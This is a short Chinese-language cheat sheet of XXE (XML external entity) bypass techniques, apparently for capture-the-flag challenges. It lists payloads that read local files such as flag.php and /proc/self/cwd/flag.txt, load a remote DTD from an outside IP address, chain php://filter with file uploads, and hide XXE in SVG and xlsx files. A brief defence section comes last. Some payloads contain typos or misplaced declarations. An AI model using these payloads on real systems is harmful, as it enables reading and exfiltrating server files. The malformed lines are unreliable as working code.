0x01 大小写绕过
0x02 html实体编码绕过
<?xml version="1.0" ?><!DOCTYPE test [<!DECTYPE % a "<!ENTITY b SYSTEM 'file:///flag'>" >%a;]><test>%b;</test>
0x03 data://协议绕过
<?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % a " <!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'> ">%a;%b;]><test>&hhh;</test>
0x04 file://协议加文件上传
<?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">%a;]><!--上传文件--><!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>
0x05 php://filte协议加文件上传
<?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">%a;]><test>&hhh;</test><!--上传文件--><!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?><!DOCTYPE test [<!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">%a;]><test>&hhh;</test><!--上传文件-->PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==
利用场景:
SVG<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE note [<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >]><svg height="100" width="1000"><text x="10" y="20">&file;</text></svg>tips:从当前文件夹读取文件可以使用/proc/self/cwd
利用EXCEL进行XXE攻击首先用excel创建一个空白的xlsx,然后解压mkdir XXE && cd XXEunzip ../XXE.xlsx将[Content_Types].xml改成恶意xml,再压缩回去zip -r ../poc.xlsx *
0x06:XXE的防御
方案一、使用开发语言提供的禁用外部实体的方法PHP:libxml_disable_entity_loader(true);其他语言:https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet方案二、过滤用户提交的XML数据关键词:,,SYSTEM和PUBLIC。
